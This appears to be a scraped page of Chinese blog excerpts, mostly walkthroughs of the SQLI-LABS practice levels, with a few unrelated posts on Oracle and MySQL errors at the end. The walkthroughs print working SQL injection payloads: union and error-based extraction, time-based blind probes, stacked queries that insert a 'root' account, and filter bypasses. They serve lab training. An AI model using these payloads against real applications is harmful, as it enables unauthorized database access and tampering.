Forgot your password? New User click here? 看源码,可以发现和less 24不同的一点在于password字段没有进行转义处理 那就对password字段进行堆叠注入 login_user=&login_password=1';insert into users(id,username,password) value(15,'root','root')# 登陆…
和less42一样 login_user=&login_password=1');insert into users(id,username,password) value(15,'root','root')#…
GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面limit 0,1语句 http://localhost/sqli/Less-1/?id=1' order by 1# 字符#浏览器不会编码可以手动编码%23 http://localhost/sqli/Less-1/?id=1' order by 1%23 order by 4时页面不正常,推测字段数…
和Less44一个名字 测试一下,发现是')闭合的 login_user=&login_password=1') or sleep(0.1)# 那就是没有错误显示的less42 login_user=&login_password=1');insert into users(id,username,password) value(15,'root','root')#…
盲注漏洞,登陆失败和注入失败显示的同一个页面 可以用sleep函数通过延时判断是否闭合引号成功 这个方法有一点不好的地方在于,并不能去控制延时,延时的时间取决于users表中的数据数量和sleep函数的参数 login_user=&login_password=1' or sleep(0.1)# 14条数据延时了1.4s 但延时的出现就证明引号闭合成功了 login_user=&login_password=1';insert into users(id,username,password…
提交,页面正常,说明是')闭合的 http://192.168.136.128/sqli-labs-master/Less-40/?id=1')%23 http://192.168.136.128/sqli-labs-master/Less-40/?id=1');insert into users(id,username,password) values (15,'root','root')%23…
这个直接用union select就可以 http://192.168.136.128/sqli-labs-master/Less-38/?id=0' union select 1,2,3%23 看一下源码,发现这关的关键并不在此 mysqli_multi_query()是可以执行多条语句的 来看这个语句 两条select都得到了执行 这个就涉及到了堆叠注入,参考 https://www.cnblogs.com/0nth3way/articles/7128189.html http://192.…
这个和less20是一样的,唯一的不同在于添加了括号和使用了base64对cookie进行了编码(因为使用了base64_decode解码函数) admin被编码成了YWRtaW4=但是执行的SQL语句没有改变 添单引号编码,然后修改cookie 那么把less20的代码拿过来用base64编个码就一样咯…
less50的字符型版本,闭合好引号就行 http://192.168.136.128/sqli-labs-master/Less-51/?sort=1';insert into users(id,username,password) value (15,'root','root')%23…
报错没有关闭,直接可以用UpdateXml函数 http://192.168.136.128/sqli-labs-master/Less-50/?sort=1 and UpdateXml(1,concat(0x7e,database(),0x7e),1) 用堆叠注入 http://192.168.136.128/sqli-labs-master/Less-50/?sort=1;insert into users(id,username,password) value (15,'root','ro…
都是order by的注入,作者连图片都懒得改了... 注意和整型的区别,前引号用提交的引号闭合,后引号用#注释 http://192.168.136.128/sqli-labs-master/Less-49/?sort=1' and sleep(0.1)%23…
http://192.168.136.128/sqli-labs-master/Less-47/?sort=1 改变sort的值,结果仍然是order by 1的结果 http://192.168.136.128/sqli-labs-master/Less-47/?sort=1' and sleep(0.1)%23…
http://192.168.136.128/sqli-labs-master/Less-46/?sort=1 sort=4时出现报错 说明参数是添加在order by 之后 错误信息没有屏蔽,直接使用UpdateXml函数报错 http://192.168.136.128/sqli-labs-master/Less-46/?sort=4 and UpdateXml(1,concat(0x7e,database(),0x7e),1)%23 http://192.168.136.128/sqli-…
整型的不用闭合引号 http://192.168.136.128/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values (15,'root','root')%23 http://192.168.136.128/sqli-labs-master/Less-41/?id=15…
http://192.168.136.128/sqli-labs-master/Less-39/?id=1;insert into users(id,username,password) values (15,'root','root')%23 http://192.168.136.128/sqli-labs-master/Less-39/?id=…
这个不是基于错误的吧,看源码可以知道错误并没有输出 那就使用;%00和order by试一下 http://192.168.136.128/sqli-labs-master/Less-28/?id=1')%a0order%a0by%a03;%00 http://192.168.136.128/sqli-labs-master/Less-28/?id=1')%a0order%a0by%a04;%00 http://192.168.136.128/sqli-labs-master/Less-28/?…
看一下过滤函数 看一下/s是什么东西 那直接通过大小写就可以绕过了 http://192.168.136.128/sqli-labs-master/Less-27/?id=0'%a0uNion%a0sElect%a01,2,%273…
加单引号 order by一下 http://localhost/sqli-labs-master/Less-25/?id=1' order by 1%23 order by 变成了der by 下面的hint也显示了过滤后的字符串,其实直接看报错就可以看出来了,虽然标题是屏蔽了or和and,结果order也被误伤了 由于过滤只是单纯的将or and用空串进行了替换那么构造oorrder by就应该可以通过了 http://localhost/sqli-labs-master/Less-25/?…
. 加单引号报错 加# http://localhost/sqli-labs-master/Less-23/?id=1'%23 错误没有改变,推测过滤了# 查看源码发现# -- 都被替换掉了 那么可用通过闭合单引号的方式 http://localhost/sqli-labs-master/Less-23/?id=1' and '1'='1 然后通过UpdateXml函数利用报错取数据 http://localhost/sqli-labs-master/Less-23/?id=1' and Upd…
以admin admin成功登陆之后,保存并显示了cookies信息 如果不点击Delete Your Cookie!按钮,那么访问 http://localhost/sqli-labs-master/Less-20/ 就不需要再次登陆了,通过cookies获取了username并且没有进行验证 通过浏览器插件EditThisCookie来修改 加单引号然后刷新页面 发现了MySQL的报错信息 $sql="SELECT * FROM users WHERE username='$cookee'…
这次username和password都进行了输入校验 但是ip和uagent没有校验 当我们用admin admin登陆成功后,就会一条插入语句 由于程序无条件的信任了浏览器的header信息,那么通过修改http包的header信息构造注入 使用burpsuite进行包拦截/修改 修改user-agent字段,加个单引号 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'…
这是一个重置密码界面,查看源码可以看到username作了防注入处理 逻辑是先通过用户名查出数据,在进行密码的update操作 所以要先知道用户名,实际情况中可以注册用户然后实行攻击,这里先用admin演示 这和前几个less都不一样,并不能 通过union select进行查询其他数据,但是由于update语句的出错信息没有被屏蔽,所以可以基于错误进行注入. 收集了一下,有两个方法可以实行注入取出数据,构造类似双注入的查询报错和使用updatexml函数进行报错 双注入构造下面的SQL语句执行…
加个双引号 通过报错信息猜测SQL语句 , 将括号闭合掉,通过注释后面的条件登录…
这关有点意思,有一点需要事先注意,这关玩的是login.php而不是默认的index.php 再注入之前需要先了解一下HPP(HTTP Parameter Pollution),详情参照这篇 http://blog.csdn.net/eatmilkboy/article/details/6761407 对于这关的WAF需要了解一点就是,WAF和web程序的业务逻辑是无关的,WAF只是起这简单的参数过滤作用而已,这样就可以解释为什么sql语句用的id而WAF判断的是id1 换句话说,没有了WAF就…
看了下源码 所有的注释形式和反斜线,and,or都被了过滤掉了 单引号没有过滤 空格也被过滤了 http://localhost/sqli-labs-master/Less-26/?id=1' http://localhost/sqli-labs-master/Less-26/?id=1' ' 看了网上的一些方法都是使用了%a0替换掉了空格 http://localhost/sqli-labs-master/Less-26/?id=1'%a0oorr%a0'1'='1 但是出了一点问题,似乎无法…
今天遇到一个错误提示:ORA-06502:PL/SQL :numberic or value error: character string buffer too small,一般对应的中文信息为:ORA-06502: PL/SQL: 数字或值错误 :字符串缓冲区太小.仔细检查调试过程中才发现是开发人员定义了一个变量,但是在脚本里面赋予了该变量超过其长度的值.结果就报这个错误.我习惯总结每一个遇到的错误信息,既有利于学习.总结知识,也方便以后遇到此类问题能够及时给出解决方法. 如果执行oerr…
背景: 主从环境一样,字符集是utf8. Slave复制报错,平时复制都正常也没有出现过问题,今天突然报错: :: :: :: :: Error_code: :: perror 1366 MySQL error code (ER_TRUNCATED_WRONG_VALUE_FOR_FIELD): Incorrect %-.32s value: '%-.128s' for column '%.192s' at row %ld 从上面2个信息得到从库复制失败的原因是因为字符集的问题引起的. 分析:…
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试一试) Less-1: 提示参数是id,值为数字. 先测试是字符型还是字符串型: ?id=1 and 1=2--%20 ?id=1' and 1=2--%20 结果证明是字符串型. 然后一系列常规操作,order by 3为上限. payload: ?id=100' union select 1,u…
今天碰到一个相当棘手的问题,那就是ActiveRecord::StatementInvalid (Mysql2::Error: Incorrect string value . 本来在本地测试是没有任何问题的,但是一到服务器上就会出错,错误为:Mysql2::Error: Incorrect string value ,经过分析发现是中文的问题.按照理论来说以前都没有出现过这样的情况,为什么这次会出问题了呢?查看了一下,没有什么异样.于是在本地打了一个相同的环境,然后测试依旧没有问题.这个为难死…